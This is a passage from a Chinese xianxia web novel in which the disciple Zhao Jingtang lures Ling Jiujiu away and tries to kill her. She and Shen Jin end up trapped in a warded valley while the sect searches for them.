七杀殿里,七杀、武曲、贪狼、紫微、天梁……数位星君皆在现场,似乎正在严肃议事。
一个巨大的幻星雾阵处在殿正中央,幻影中的场景正是刀林血冢昔日惨状。
诸位星君明显也愣了,此刻都齐齐地看向突如其来的赵惊堂。而在他抬头的刹那不少星君立即更是错愕地瞪了瞪眼。
只见赵惊堂的脸上规规整整地写着一副对联:
上联:树不要皮,必死无疑
下联:人不要脸,天下无敌
横批:我赵惊堂,没脸没皮
鼻尖上还写了一个小字:咦~
这对联是用风雨不侵的紫云墨写的,任他方才神号鬼哭似的哭了半天都完好无损。贪狼星君忍了一会儿噗嗤一声笑赶紧用扇子半遮住脸。
而七杀星君眉目一厉已然挥袖收起幻阵一掌击过去,直接将赵惊堂原地给打飞——殿门都直接撞开了,他整个人也重重摔在门槛外捂着屁股龇牙咧嘴。
“逆徒!不看这是何等场合就敢擅闯大殿!”
这下好了,门开了,殿外原本纷纷偷瞄的弟子也都光明正大看过来。赵惊堂哀呼了一会儿后终于连滚带爬地又跪回来泣声道:
“师父恕罪,诸星君恕罪!实是弟子受冤不忿得很!”
“那天同宫凌酒酒与沈烬欺凌我与秦修、卓明两师弟至此,这才心急之下误闯了七杀殿,师父诸星君明鉴!”
话落,凌云木更是率先讶了讶眼。贪狼星君怔了下很快又笑了声悠悠扇起扇子看起戏来。
这小丫头果然每次都能给他好戏看。
天梁星君怔讶,“你说……是凌酒酒和沈烬把你弄成这样的?那这到底是凌酒酒……还是沈烬弄的啊?”
“是凌酒酒!”赵惊堂咬牙切齿,“她用听命符控制我,让我跪她拜她!让我……学狗叫!还让我自己往自己脸上写字侮辱我!秦修和卓明两师弟全程在场都看到了能为我作证!求诸星君做主!”
说着轻微向踌躇在门外的秦修和卓明递了个眼色又作势哭起来。
秦修和卓明蛮不乐意似的扭扭捏捏上前。卓明身上的束身咒还没破,就一蹦一蹦地跳上前跪在地上。
武曲星君见状疑问:“你这也是凌酒酒所施?”
卓明:“不是,这是我自己施的,结果破不开了……”
众人:“……”
七杀星君冷着脸一挥将他身上的咒解开,厉声问:“到底是怎么回事?”
秦修卓明唇角翕动像犹豫着不知道该怎么说,对上赵惊堂压迫的眼神又不禁抖了下肩。卓明颤巍巍地开口:
“今日午后……我与秦师兄陪赵师兄到北斗峰练剑,恰见……小宫主在北斗峰角练习飒踏诀,赵、赵师兄夺了小宫主的桃木剑,所以……”
赵惊堂目光一阴立刻瞪他。
卓明头埋得更低些。
几位星君你看看我我看看你也像明白了什么。赵惊堂忽然又泣声一拜,“弟子并不知酒酒师妹不会飒踏诀,当时只是想提点一二,谁知她误以为我夺剑,叫来沈烬对弟子痛下打手,施咒侮辱!”
凌云木沉吟片刻,浅言安抚了一番赵惊堂让他先回了,声称必会公正交代。
等三人退下后。场面氛围才有些奇异地松下来,众人意味深长交递着目光仅有七杀星君紧锁着眉头像在沉沉思忖着什么。
凌云木调侃,“看来,让你这门徒教授酒酒,竟还挺见成效的。”
-
赵惊堂在七杀宫中一连等了几天,始终没等到紫微殿有传来处置凌酒酒的消息,一打听,宫主压根不曾在天刑星君面前提过这事儿。
他不忿,决心要自己报复。
早知道这栖星宫口口声声说着公允实则都是包庇袒护的。
这夜南斗峰一处偏僻的山角,卓明整个人被吊在树上,身上被打得遍体鳞伤,衣衫破碎。
“师、师兄……”
他口中也泣着血,脚尖半点不点地踩在一块巴掌大的石头上,脸色痛苦,口中淋漓而下的血染红了衣襟。
“我错了师兄……饶了我吧师兄……师、师兄……”
赵惊堂坐在旁边一块儿大石头上优哉游哉掏耳朵,闻言像不耐烦似的朝秦修挥挥手。
秦修见状只能再次举起手中的鞭子朝卓明狠打了两下,打得他又一阵痛苦哀嚎。再抬手想打第三下时,秦修都心生不忍,颓着脸对赵惊堂道:“赵师兄……可以了吧?他真的已经……”
赵惊堂一个眼神剜过去,秦修一下讪讪怂了。只好咬牙轻语了声“对不住了”再次抬手狠抽了他一下。
卓明哀声痛号。
等到卓明的痛号声都微弱得快听不见地时候,赵惊堂才起身跺到他身前,一把扯住他的头发往后仰。
卓明就痛声哼哼着,口中涎出的血水都沾在赵惊堂的手上,他颇嫌弃蹭蹭他的衣服不耐问:“错了么?”
卓明连忙呜呜噜噜地点点头。
“告诉你,这就是背叛我的下场!”赵惊堂一把松开手厉声说:“这次这件事暂且饶过你了,算给你的教训。”
“刚交代你的事若做不好,你就死了!”
-
凌酒酒一连勤加苦练了几天,终于能将木剑飞起了三寸,这日在北斗峰角为沈烬展现。
“啊啊啊沈烬沈烬!你快看!起来了!我能把它飞起来了沈烬!”
“嗯。”沈烬淡然应声,看着那颤巍巍漂浮的剑极淡地弯了下唇,“很好,下面你控稳剑,试着立在剑上。记得气息始终要稳住,重心也要平衡,试试看能否让剑带动你走。”
凌酒酒闻言立刻一蹦,哪知那剑却“啪叽”一脚被她踩在地上,她怔怔地看着和自己脚下与地面契合得丝毫无缝的剑眼巴巴求助看向沈烬。
沈烬呼吸止了下也像掩唇轻咳了一下淡声说:“练。”
“哦。”
就这时,一位身着藤紫云纹宫服的星从走上前,对沈烬道:“沈烬,宫主唤您去一趟,即刻动身。”
沈烬顿了下还不等应声,凌酒酒已然回头敏锐问:“什么事呀?”
星从:“这我就不知道了。”
凌酒酒一时踌躇看向沈烬,沈烬默了默声称那他就先过去看看,让她先在这继续练习。
凌酒酒只好应了,望了会儿他同星从渐行渐远的背影继续回过头控剑。
北斗峰角距离紫微宫不近不远,沈烬走出一段距离后才想起御风而行,刚一蕴动术法却被星从止住。
“
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不可,今日不止宫主在此,诸星君也在。实不相瞒,事关刀林血冢灵阵,宫主先不允你动用任何术法。”
沈烬眸光漾动一下觉得有些奇怪,却没说出来,顿了顿还是默默放下手。
双峰御剑不过一炷香时间,可若徒步爬山可就真的远了。沈烬随着星从走出一段距离试探着肃声问:
“宫主找我,是事关刀林血冢何事?”
“具体的,我也不知了。”星从说:“只是听闻同刀林血冢有关。”
他观察着周围的景象,目光落回前方带路的星从时微微凝冷,指尖已悄无声息背到身后,“紫微宫,是走这条路吗?”
“这条是近路,是略微偏了点。”星从道。
目光同他相接的刹那却仿佛畏怕似的微微瑟缩了缩,“等到了……你就知道了。我们平时不让动用术法上下山时……都是走这条路的。”
沈烬淡淡凝视他几秒像不知情绪地一笑,“有劳。”
等到山道走到更陡峭的第三个拐角时,沈烬突然自他身后一个破咒符打过去!
前方的星从骇然回头去抵挡却已经来不及了,他整个人蓦然被咒符打得弹出去整个人身上也开始闪出咒破的浓光。
易容咒!
怪不得不能御风,易容咒极难修,术不精深者动用术法易过的脸便会不停变换,顷刻便会露出马脚。
等面前人身上咒破的光消失了,竟是卓明狼狈倒在地上。
他鼻青脸肿,身上露出的皮肤手腕还鞭痕累累、疮痍弥目,被沈烬打这一下口中又渗出鲜血。
沈烬讶然看了他几秒深蹙起眉,掌中红光乍亮还不待第二掌打出去质问怎么回事,卓明已经连滚带爬地跪到他脚下哀求。
“沈烬!沈师兄……沈师兄!”
“我不是本意!我是被逼的!是赵师……赵惊堂逼我!他逼我这么干的!如果我不这么干,他就要杀了我!您看!”
他匆促撸上衣袖为他展示臂上的伤痕。沈烬低眸看着眸中惊诧越来越浓。卓明已经丧着脸声声暗示。
“快去……去北斗峰角!小宫主……小宫主……”
沈烬眸光漾动了一下瞳孔骤然凝顿。
糟了!凌酒酒……
-
凌酒酒在北斗峰角边等沈烬归来便不断试着站在剑上,还是不行。唯有成功的一次还几乎刚站上就平衡不稳地掉下来了。
“唉呀!”她焦躁,不知道第多少次地望向紫微宫的方向,感叹这修仙世界的一切果然都不是一般人能战胜的。
这和让她站平衡木有什么区别……
当身后响起轻微脚步声的时候,凌酒酒以为是沈烬回来了。
她下意识笑起来回头,“沈烬!你终于回来了!我还是——”
身后却不是沈烬。
秦修、赵惊堂。
那是赵惊堂,但……凌酒酒莫名的有一瞬却又觉得他不像赵惊堂。因为他这一刻脸上有种浓重的狠意与杀意,与先前那几次都不一样。
正一步一步缓慢地逼近凌酒酒。
凌酒酒脸上的笑消失了,警慎性地往后退了几步,戒备问:“你们……要干什么?”
赵惊堂只冷冷一哂,突然面色一阴抬起手——
21.021.患难
凌酒酒在那前一瞬就察觉不妙,下意识抱起木剑拔腿就跑。
然而赵惊堂的掌风已经先一步袭过来,一道控了力的“肃杀”一把击在凌酒酒的背后,直接将她整个人都击飞出三米远蓦地跌在地上呕出一口血。
……我靠原来打吐血是真的存在也是真疼的。
她抱着剑在地上隐忍着难受,试着站起来却根本站不起来。
而赵惊堂已经悠悠踱到她身后不咸不淡踩住她的手。
凌酒酒一瞬就感觉自己的心肝脾肺肾大脑一块都要炸了,强咬住牙闭上眼才忍住没出声。而秦修已经骇然地抓住赵惊堂的手仓皇劝着:
“师兄!师兄!差不多就行了!这可是小宫主……再说同门寻仇更是大罪的……”
“慌什么!”赵惊堂斥他,眼风冷厉。
他再睨回凌酒酒的时候又换了一副得意泄愤的轻笑神色,脚下更加碾着力笑吟吟说:“凌酒酒,你不是得意么?你不是会画咒了么?你怎么不画了?你不是还一遇到生命危险就有的大招么?现在我来杀你了,你怎么不使大招了啊?”
是啊……她也想知道。
她压根疼得说不出来话,就在脑里疯狂喊系统。
——系统!系统!!
系统却始终没有一声应答。
凌酒酒佩服自己在这一刻居然还有心思吐槽,第一次觉得这世界和这系统一样都不正常,而她真是倒了八辈子血霉要来这儿跟这个疯批扯皮。
秦修听见那句“杀”仿佛一瞬被吓破了胆,定了下才惊恐地松了手后退数步。
“你、你之前不是这么说的啊!你就说给个小教训……你自己玩吧我不跟你玩了!”
他转身想逃,赵惊堂一道束身咒过去直接勒着他的脖子就往回扯。秦修就痛苦地扯着脖子上的咒绳退回原地听他道:
“你现在想走,你以为走得了?今天你和我都已经被她看到了!要是留她活口你和我都会完蛋了!你现在和我就是一根绳上的蚂蚱,我死了你也活不了!”
秦修哀颓着脸只能应了。
当凌酒酒手上的压力一松还不等喘息,赵惊堂蓦地又拎起凌酒酒的衣领,忽地带她就着剑飞到天上。
凌酒酒一阵巨大的失重感来临脸色一白,一瞬有点想吐。
平心而论,她来这儿之后蹭了几次别人的飞行术,其实对于在天上飞行已经不再害怕。
可那些是不会伤害她、亦会保护着她的人。
这要是在个本来就想杀她的人身边,那就不一样了。
这个高度摔下去,她莫说粉身碎骨,恐怕会烂的泥一样连尸身都保不住。
——系统!系统!!
风将她头发衣服吹得剧烈飘飞,在心中脑中疯狂的喊,心脏咚咚咚咚都仿佛要跳出来。
系统却始终没有一声回响。
她双脚发软,努力让自己忽略脚下恐怖的高度,强行稳定着自己的思绪不令自己的声线打颤,“赵惊堂……你要是想摔死我……”
她咽了咽口水,“……你就完了!现在所有人都知道我根本使不出飒踏,最多也就让剑飞起三寸。在这儿摔死……绝对做不成是我意外失足的样子!我娘、十四宫上下都会彻查!”
“我知道啊。”赵惊堂却仿佛不以为意地说:“所以我压根没打算从这儿给你丢下去,我是打算给你丢去个所有人都不知道的地方去,让你悄无声息的死、没人知道的死、冷死饿死痛苦的死!反正刚回宫的小宫主因好奇误闯一处禁地而死总是可能的吧?等他们找到你的时候,估计你已经被妖兽咬的骨头都不剩了。从这儿丢下去多痛快呀?一下就死了。还是慢慢地死受尽折磨而死更有意思,你说是不是?”
凌酒酒一瞬脸色更白头皮发麻。疯子!
真是个疯子!
真是活该他在原著里被她写得是最后被沈烬虐杀死!活该!疯子!疯子!
她心里更绝望,正当要闭上眼的时候突见迎面的风里突然破开一道红光,被赵惊堂和秦修惊险地控剑躲过才避过去。
凌酒酒惊慌失措地抬头看,就见沈烬扯着一身紫微宫宫服的卓明破风而来。
他身形极快,黑色衣袂被风吹得猎猎席卷,整个人也如一道破云而出的利剑,冷厉而凌冽。凌酒酒看见他的刹那险些要哭出来,不顾胸肺里还刀搅似的疼就疯狂喊:“沈……沈烬!沈烬!沈衣雪!沈烬!”
赵惊堂立刻给了她一道封口咒。
沈烬已经直逼到赵惊堂前方,堪堪在他剑外十几尺的位置停下,一手扯着卓明的衣领卓明已骇然得浑身都像抖成筛子泪如雨下。
赵惊堂狠狠剜他一眼,“没用的东西!”
沈烬眉眼锋利,先静静地望了凌酒酒一眼。而凌酒酒双眸盈泪的却又像强忍着不肯掉下一颗般就激动又抱歉地眼神复杂看着他。
他复看回赵惊堂掌心已运起浓重红光,赵惊堂见状微惊蓦地扯过凌酒酒的肩将她挡在自己的身前当靶子。沈烬蓦地停下。
“沈烬,你选吧。”赵惊堂死死捏着凌酒酒的双臂躲在她身后得意笑意道:“要么,你打死我,就先打死她。”
凌酒酒被他捏着整个人打心里都泛起一阵恶心的嫌恶感。王八、犊子!疯子!神经病!
赵惊堂:“要么,你从这儿跳下去。”
凌酒酒一惊连忙使劲朝他摇摇头。
沈烬只是面无表情地同他对峙着,掌中的红光却未弱半分,反在他话落的刹那唇线绷紧更加浓郁,趁他不备一道术法就猛然打过去。
赵惊堂见状瞬时睁大眼下意识更抓紧了凌酒酒往旁闪了闪,凌酒酒也呆若木鸡到一动不敢动。
那灵力看似是从左侧打过来,赵惊堂下意识将凌酒酒往左边一推自己闪向右边,未曾想浓烈红光竟擦着凌酒酒的右肩与右耳廓直直越过去,鬓边的碎发与耳饰都剧烈晃动——一瞬正袭上赵惊堂的面门将他右额划下一片血口口中也涌出一片血!
“啊!”赵惊堂瞬间痛呼。脚下的剑都一瞬晃动。凌酒酒和秦修都险些没掌住平衡摔下去。
“你找死!”他咬牙恶狠狠瞪他蹭去右额处和唇边的血,忽然手抵住凌酒酒的后背一把就将她推下去——
“啊——!!”
凌酒酒整个人就如同空中断翅的鸟疯狂往下坠,身上的封口咒竟在她极端惊恐下自行
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破开了,惊呼着极速向下落。
沈烬神色一凛,倏地扯着卓明将他丢过去又打去一掌,赵惊堂见状下意识扶住卓明挡了下。
灵力打在卓明的后背上让他狂吐出一口血。而沈烬则趁着空隙立即俯冲下去试着去接凌酒酒。
半空中,沈烬接住凌酒酒,一手揽住她的腰堪堪止住她下降的趋势。
凌酒酒感觉自己整个人仿佛被凌冽的空气与冷凛的风切割成好几瓣,整个人缩在他怀里一动不敢动,双臂死死地环住他的腰不撒手。
沈烬肃声道:“试着使飒踏,沉息,静气。将整个身体放轻交由灵力而行。”
凌酒酒吸吸鼻子试着开始念,“风、风冲云岚……碧落凝纤,剑破苍穹……”
“对,很好。”沈烬微微收了力道,两人还在微微下坠但明显速度比方才要缓了许多许多,她似乎自己都没发觉,他努力稳着她的身体继续激励道:“继续。”
“……剑破苍穹,生生不息……”
脚下的风像有了形状,隐隐约约浮过极幽的蓝光。
她或许压根都没发现他早就收了自己的飒踏,深长看了她一眼唇角欣慰抿起。
正当沈烬正要重使飒踏带着她离开这的时候,赵惊堂不知何时已经逼近他们头顶。他掌中结出一个极完整的肃杀阵,蓦地朝下向他们当头罩下——
沈烬以“肃杀”破“肃杀”时已经来不及了,巨大的肃杀阵仿佛将他们裹在一个罩子里不断往下压——瞬间就压入深不见底的谷底。
赵惊堂几人还在天上,也各自狼狈得厉害。赵惊堂脸上口中都是血迹、秦修吓得脸色苍白、卓明更是在一旁哕血到连站都站不起来。
盯着他们的身影消失在那片幽黑诡异的谷底,赵惊堂笑了一下,又狠声警告,“今天的事,谁都不许说出去,不然,你们就死了。”
-
沈烬醒来的时候,感觉自己仿佛躺在一片潮湿的云里。
周身的一切都软绵绵的,唯有身上沉重得可怕,仿佛有千万只手在拽着他不断往下坠。
他微微起身,却蓦地偏头呕出一口血。这“肃杀”的力量果然连他这个本命宫的人都难以承受的。
这里像是一处幽谷,而他处在的地方像是谷中之谷。
两边浓茂的树木遮蔽了天空,纵横交错的枝丫阻隔了视野光线。幽暗、阴冷、潮湿。
原地调息片刻,沈烬起身,仔细看了看周身的场景。
他试着运动灵力,发觉此处可以动用灵力却有近四层的削减,且这周围仿佛有一个巨大的结界,一时不由有些奇异。
栖星宫中居然还有这样一处地方。
就这时,一个小白点撞进视野里。
凌酒酒就躺在离他不远处的一片杂草里,半人身高的枯草几乎遮掩了整个身影,只留下一角蓝白裙角留在外面。
沈烬顿了一下连忙上前,她脸色苍白,眉眼紧闭,整个面庞平静得却仿佛像睡着。
沈烬怔了下下意识伸手去探她的鼻息,感受到她极微的气息后才微舒一口气,犹豫着轻推了推她的肩膀轻声唤道:
“凌酒酒,凌酒酒……”
22.022.失踪
凌酒酒却始终没有反应。
凝神观察她片刻,沈烬伸手去探她的脉息,一抬手看见她手上红肿可怖的红痕不禁又看她一眼。
指尖在她的脉搏上停探少顷,沈烬倏地抬眸。
肃杀……
他按着她的肩膀将她扶起,掌间微微蕴起一层灵力渡到她身后。只见凌酒酒一直毫无反应的面庞眉宇忽地蹙了一下。沈烬也轻蹙了一下眉宇,另一手下意识按了下胸口。
然后灵力骤涌的刹那,凌酒酒猛地向前涌出一口淤血——沈烬也向旁吐出一口血来轻咳了声。
凌酒酒已经悠悠转醒来,吐出淤血后感觉自己身体都轻快了很多,一扭头看见正在一旁杵地吐血的沈烬连忙上前扶住他,“沈烬!你怎么样啊……”
“没事……”沈烬蹭了下唇边的血迹摆手,黑眸对上她清凌凌的眼睛哑声道:“你试着动一动,看看是否还伤了哪里。”
凌酒酒旋即轻动了动脖子扭扭手,胳膊和上半身都是完好的,唯有被赵惊堂踩过的手还又肿又痛。
当她支起身要试着站起来走路时,右脚踝的剧痛却让她“啊”了声一把又跌坐回原地。
沈烬立刻上前轻探了下她的踝骨,当他按到某个位置时,凌酒酒突然又“啊!”吸气往回缩了缩。
沈烬也立刻缩手。
他有些复杂地看她一眼,而后才道:“骨折了,摔下来时太高了,你先不要动。”
说着掌心又运起一股灵力就要附在她的脚踝处,凌酒酒见状连忙阻住了他的手。沈烬讶异抬眸,就见她干干朝他笑笑摆手道:“哎算了算了……你都是残血状态呢,就先别管我了,反正我坐在这儿不动也感觉不到疼的……”
沈烬抿了下唇没再坚持,翻手又不知从哪儿变出枚药丸来,给她,“把它吃了。”
幸好他最近随身携带她那些灵药补药。
凌酒酒没问许多一把嚼了,问:“这儿是哪儿啊?”
“不知道。”他也抬头看了看这已经愈渐暗下的天。
夕阳西下,幽谷杂乱的丛林遮蔽住光线,远方有隐隐的幽风声传来。
凌酒酒想到问系统。
——系统系统!
你丫到底死哪儿去了给我出来啊系统!
我刚差点死了你知不知道啊!系统!!
不出所料,系统压根没有半点动静。凌酒酒对它这关键时刻消极怠工的状态已经倦于生气,叹了口气又问沈烬:“我们……不能使飒踏出去吗?”
“出不去。”沈烬说。
他从旁操动起起一支枯树枝当做剑,指尖的灵力运动着树枝朝着天空直刺而去。
只见树枝当真如同一道利剑破风而出,却在极远的半空蓦地化为粉末洋洋洒洒地坠落。
凌酒酒惊讶地看着那飘散的粉末,原本是感受不到半空中的灵力的,但也不知是他最近各种灵药给补的有效还是她的修为真的精益许多,她分明感觉到似乎有一层似有若无的光雾一样的东西荡在那里。
讶异问:“有结界?”
“嗯。”
凌酒酒屏了下吸突然心感迷茫了,她小说里也没写过这段啊……
而且她就练个功也真是没想到怎么就被阴差阳错追杀到这里,唯一的庆幸就是好在不是孤身一人身边还有个沈烬。
这谷中的天黑得似乎比外面要早,天穹一寸一寸地被黑暗吞没。沈烬生了火,为取暖也为照明,环顾了顾周围对她说:“你先待在这里,我去四周看看有没有什么能用的东西。”
-
天同星君是等到亥时才察觉到凌酒酒和沈烬不见了的。
这些时日以来,这两个孩子早出晚归,但基本都踩在卯时出、戌时归的规律,为了不影响他人基本练功地点也都在空旷人少的北斗峰角,还是第一次过了亥时都不曾归来。
至子时,天同宫门口还没有任何动静。泊尘和阿雾到北斗峰角亲自寻了一圈,连忙将此事禀告到凌云木。
“还没回来?”
紫微殿内宫灯燃起,其余十二宫也纷纷被扰醒,齐聚至紫微殿探寻究竟。
泊尘叙述过前后因果后,向诸星君执了一礼称万望诸宫即刻共同寻觅才是。
“会否是这俩孩子贪玩,一时在哪儿乐不思蜀了?”巨门星君猜测,“到底少年心性,偶时贪玩也是常事,栖星宫说小不小,引人探索的地方倒也不少,说不准是一时在哪儿贪玩忘了时辰,我们还是先静等一番才是。”
“玩到子时还能忘了时辰的,倒也不像常事。”贪狼星君笑说:“再说,我看酒酒这丫头这次可不像贪玩的样子。我上次去‘病’殿途径北斗峰角,远远就看见沈烬正辅导着酒酒飒踏,那认真的样子真是恨不得把一天的十二时辰掰成二十四时辰使。如今约定之日迫在眉睫,他们又怎会在这个节点贪玩?北斗峰角巴掌大点的地方也能让人消失?”
巨门星君思忖了一下觉得有理不说话了。天府星君又道:“会否……是他们两个起了什么矛盾争执?”
这个猜测刚一提出来,不免让在场不少人不禁想到另一点上,武曲星君大胆猜疑,“就怕不是不见踪影,而是有心刻意。这沈烬术法比凌酒酒高这么多,他若真是故意想做什么,那可真是……”
这猜忌一出场面不少人不禁又沉肃几分,最终是天同星君像忍不住了一把挥袖道:“哎呀呀!你们都瞎猜什么?自从衣雪来了我们天同宫,循规蹈矩持重有礼,连我们天同宫的花儿开得都比以前更好了!酒酒那丫头都笑得更多了!”
“酒酒那丫头是个什么根骨体质你们知道的?这段时日我是眼睁睁看着她天文训也会背了、符咒也会使了!连飒踏都能飞起三寸了!你们先前谁做到了?你们先前谁能想到的!”
“你们总说衣雪这孩子不好,命宫凶身上邪!你们倒是说说究竟哪儿邪了?不是今天来个莫飞澜陷害他杀人就是明天来个赵惊堂刻意找事儿,你们说说邪性的究竟是谁啊!”
“衣雪跟酒酒最近是怎么用功努力的,我都看在眼里。你们倒好,全成了别有用心?也罢……这人你们不找,我找!我看这栖星十四宫,也不需要我们天同宫的地方,等找到了人,我们师徒三人直接下山你们十三宫直接把天同罢黜了吧!”
他说着一甩袖就要愤愤离去,一张脸都气愤得通红。凌云木和贪狼星君连忙拦住他。
“沈衣雪”这名字,似乎很久没在公众面前被提起过了,一番话说得也不禁让众人有些唏嘘。七杀星君像感慨什么叹息着阖了阖眼。
凌云木:“师伯勿气,酒酒是吾女,我又怎会不担心?只是栖星宫广大,我们总要先测想他们可能的范围再阖宫行动。我这就下令阖宫追查。”
当晚,十四宫上下便连夜追寻起二人的踪迹。诸星君各自回宫后也盘问起各自宫中近来对凌酒酒沈烬的最后印象与行迹。
太阴宫有人说:“昨日巳时我还看见他们了呢……在北斗峰角那里,当时酒酒小师妹在练飒踏,还练的挺好的,我路过的时候她还打招呼来着。”
“对,我也看见了。”
天机宫有人说:“确实蛮奇怪的,我每日申时会替师父至‘墓’殿取机关用物,每次途径北斗峰角都能看见酒酒师妹与沈烬师兄在此,但昨日确实不曾瞧见。当时还以为是他们旬休。”
七杀宫里,当七杀星君询问起近来是否有人见过沈烬与凌酒酒时,七杀宫一殿的弟子你看看我我看看你地共同摇了头。
七杀宫私规严苛,即便是大休沐期在宫弟子每日也要例行修炼功课。巳申时分正是功课时。
七杀星君默了片刻,最终目光还是落在了赵惊堂、秦修、卓明三人身上,肃声问:“昨日申时,你们在哪儿?”
赵惊堂立刻大拜了一礼,“弟子……在书斋上文课。”
七杀星君又问了几名旁的弟子,确凿了赵惊堂三人的确去上了课,只是一直坐在后排睡大觉,连中途换课都没起来过。七杀星君闻言没什么好声气又让他们罚抄三十遍天文训。
回到卧舍,赵惊堂关上门才松了一口气,观察四处无人落下门闩打开衣柜。
衣柜里,两个同赵惊堂、秦修长得一模一样的人堆在里面,衣后各贴了一张销毁不掉的傀儡符。
他又试了一遍仍是销毁不掉,咬牙泄气。
-
沈烬归来的时候,已经
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拿了不少东西。
果子、草药、一些坚硬笔直的木条……清水等。
将一堆红红绿绿的果子散在地上,凌酒酒见状立刻大喜,随手捡起一颗红的随意擦了擦就大口咬了口。
她原本喜不自禁的表情却突然止住,然后像包子褶似的渐渐皱成一团,突然“呸呸呸”地一口吐了丢在一旁。
“酸酸酸……嘶哈……这什么果子啊长这么红居然能这么酸!嘶哕……”
沈烬用石头捣着一支草药,闻声像想笑几不可查瞟她一眼,“不吃这个,就要饿肚子了。”
他云淡风轻,“我们还不知道要在这儿待多久,你如果能忍,也可以。”
凌酒酒撅撅嘴巴像有点委屈地看他一眼只好继续慢吞吞捡回来吃了。果子上沾了灰尘,她抬起袖子就要擦去。
沈烬见状又递去一道目光,凌酒酒立刻会意只好放下来开始用净物咒。
“尘垢不沾,浑涅不染——净!”
一道微弱蓝光从她指尖闪过,果子上的灰尘立刻干净了。她颇得意地朝他展示了下。
要吃时她才看见上面还有一粒沙,随意拨去了咬一口。
沈烬垂眸,这地方对灵力果然有削减。
草药捣完了,沈烬从怀中掏出枚药丸碾成粉末混进去,又向其中施加了止痛的灵力向她伸出手。
凌酒酒握着果子不解地向他眨眨眼。
沈烬:“手。”
“哦。”
她将受伤的右手递过去,沈烬顿了下才小心翼翼地握住,然后仔细观察了遍。
他掌心微微的凉,能感觉到指腹和掌心都粗糙,有厚厚的茧。
草药涂在手上更有种冰冰的凉意,凌酒酒莫名却觉得这一刻草药像涂在她心脏上,又冰又热小猫挠一样,特别不自然地看看天看看地不看他。
“还好没伤到骨头,养些天便好了。”沈烬:“教过你风刃符,下次再有人踩你你直接以符化刃切了他的脚便是!这些东西总要记得用。”
凌酒酒抿抿嘴,“那他踩的是我的右手,我怎么画符嘛!而且当时一疼我根本什么都忘了,咒语都忘了,又怎么可能用得了……”
“所以你不仅右手要会画,左手也要会画,甚至你的脚、你的身体、你的眼睛。”沈烬说:“要把这些融到你的身体里、你的骨血里,你生活的每一处。这样当有些东西来的时候,你甚至自己还没反应过来你的身体你的意念就已经替你做了。”
凌酒酒怔忡。
药涂好,他随手捏起自己里衣的一角,刺啦撕开一条布条。
将布条一圈圈在她手上包扎好,沈烬又拿起那几根木条试着比了比她受伤的腿,犹豫了一下还是说:“会有点疼,忍着。”
他刚微微用力,凌酒酒就立刻,“哎呀哎呀!疼疼疼……哎呀!”
沈烬如临蜂蛰般缩手。
他神色复杂地看了她一眼。凌酒酒对上他的眼神竟无端的有些惭愧,一咬牙闭眼咬住自己一截袖角挥手让他继续。
沈烬迟疑了下手还是缓缓放在了她的腿上,力道却放轻许多,就用布条一圈一圈轻轻地缠。
凌酒酒哼哼唧唧小声嘟囔,眯眼瞄着他包扎的动作,看见他认真熟稔的侧颜一时不禁怔忡出神。
他应当是曾经常受伤,才能将这些事做得如此熟练、才能一眼就分辨出是什么草药将它采回来。
他好像也永远时刻准备着什么,时刻警戒、常备不懈,不在乎将自己淬炼成一把刀,只要这把刀能够杀人。
无端的凌酒酒的心底此刻竟冒出种很奇异的感觉,望着他无意喃喃道:“那些年在刀林血冢……你都经历过什么呢?”
话一出口,却是沈烬的神色蓦地变了,倏抬眸。
他手上动作也停住,用一种凌酒酒几乎不曾见过的、比他们刚认识时还阴冷百倍般的眼神看着她。手上的力度像握剑般无意识在用力。
凌酒酒“嗷”一声立刻被疼痛抽回思绪,再顾不得什么忙喊出声:“哎呀!疼疼疼!沈烬……疼!疼……”
沈烬的手中仍在无意识地用力,冷眼看着她痛楚的表情,声冷问:“你,怎么知道的。”
23.023.祝咒
凌酒酒疼得眼泪都快要出来了,下意识伸手想去打开他的手痛着脸连声说:“什么怎么知道的呀你快放手啊疼疼疼疼死啦你快放手!”
沈烬又一瞬不瞬像审视了她一会儿,握着她脚踝的手才蓦一松开。
凌酒酒只觉自己脚踝一松刚缓下痛来,还不等喘息,下颌倏地又被一只手掌挟住。
这只手掌心有清晰的茧,方才还悉心为她涂过草药,此刻却扼着她的喉咙虽不算用力却掌握着她的命脉。
他的脸也蓦地拉近,冷漠而面无表情,深黑的眸紧盯着她眸中尽是逼问。
凌酒酒怔愕地跟他对视两秒才后知后觉地反应过来什么。在栖星宫除了星君还没人知道他是宫主从刀林血冢捡回来的!
她后脊忽然冒出一身冷汗,推着他的手急中生智道:“我娘告诉我的呀!”
手一把被她推开,沈烬眸光漾了下仍像有些狐疑猜忌的目光盯着她。而凌酒酒则畏怯地往后挪了挪缩了缩脖子瑟缩道:
“我娘……之前……和我提过,说她是当年在刀林血冢平乱时……捡到的你。当时看你可怜就带你回来了……”
“她还说,你当时脏脏瘦瘦的……可怜极了。还说,还说,你命途多舛,既然让你来了天同宫,就让我尽量对你好一些。结果你,结果你——呜呜呜呜!”
她说着忽然就作势哭起来,原本就因为方才的疼痛眼圈红红,这一哭更显得委屈又可怜,掩袖遮面偷偷露出一只眼瞄他。
沈烬见状神色更错愕了一下忽然有些不知所措,但仍旧锁着眉问她:“宫主,还和你说这些?”
“那当然!”凌酒酒忽地撂下袖子吸吸鼻子瞪他。
她眼圈红彤彤的,像只受了委屈愤懑的兔子,对上他目光的刹那又突然像畏怯似的瑟缩下嚅嚅道:“我娘……跟我关系很好的好吧?什么都会和我谈心的好吧!不止说了你,还说了很多人!”
“比如大师姐也不是正式拜师门入门的、江遥是贪狼星君从万毒虿谷带回来的,再比如——”
“行了。”沈烬忽然打断她的话。
他眸睫静静垂下了,脸上的疑色也像消失了,情绪难辨地垂眸默了会儿还是缓慢地按住了她没包扎完的脚踝。
凌酒酒立刻下意识往回缩了缩。
他手一顿,再看回她眼睛时眼神里更有了种似愧似歉的复杂神色,唇瓣翕动像欲言又止地想说什么又没有说。
忽地掌心运起了一道气浪源源不断附在她的脚踝上。
凌酒酒看着他的动作这一次没有拒绝,脚踝处变得暖暖的痛楚也渐渐舒缓了,暗松了口气后脊冷汗一阵发凉。
呼!吓死了……差一点,就差一点……
不是被系统抹杀就是被他杀了……
-
木枝固定完成后,沈烬松开手,没再看她也没再说话。
他们处在的地方是两山的夹缝之间,入了夜更是寒凉,山壁都蒙起浓重的水汽。
这儿无法过夜,沈烬称方见前方有一个山洞口,应当可以凑合一晚。
起身时,凌酒酒不自禁“哎呦”了声。
这右脚打了固定虽可以勉强着地但总归还是痛的。
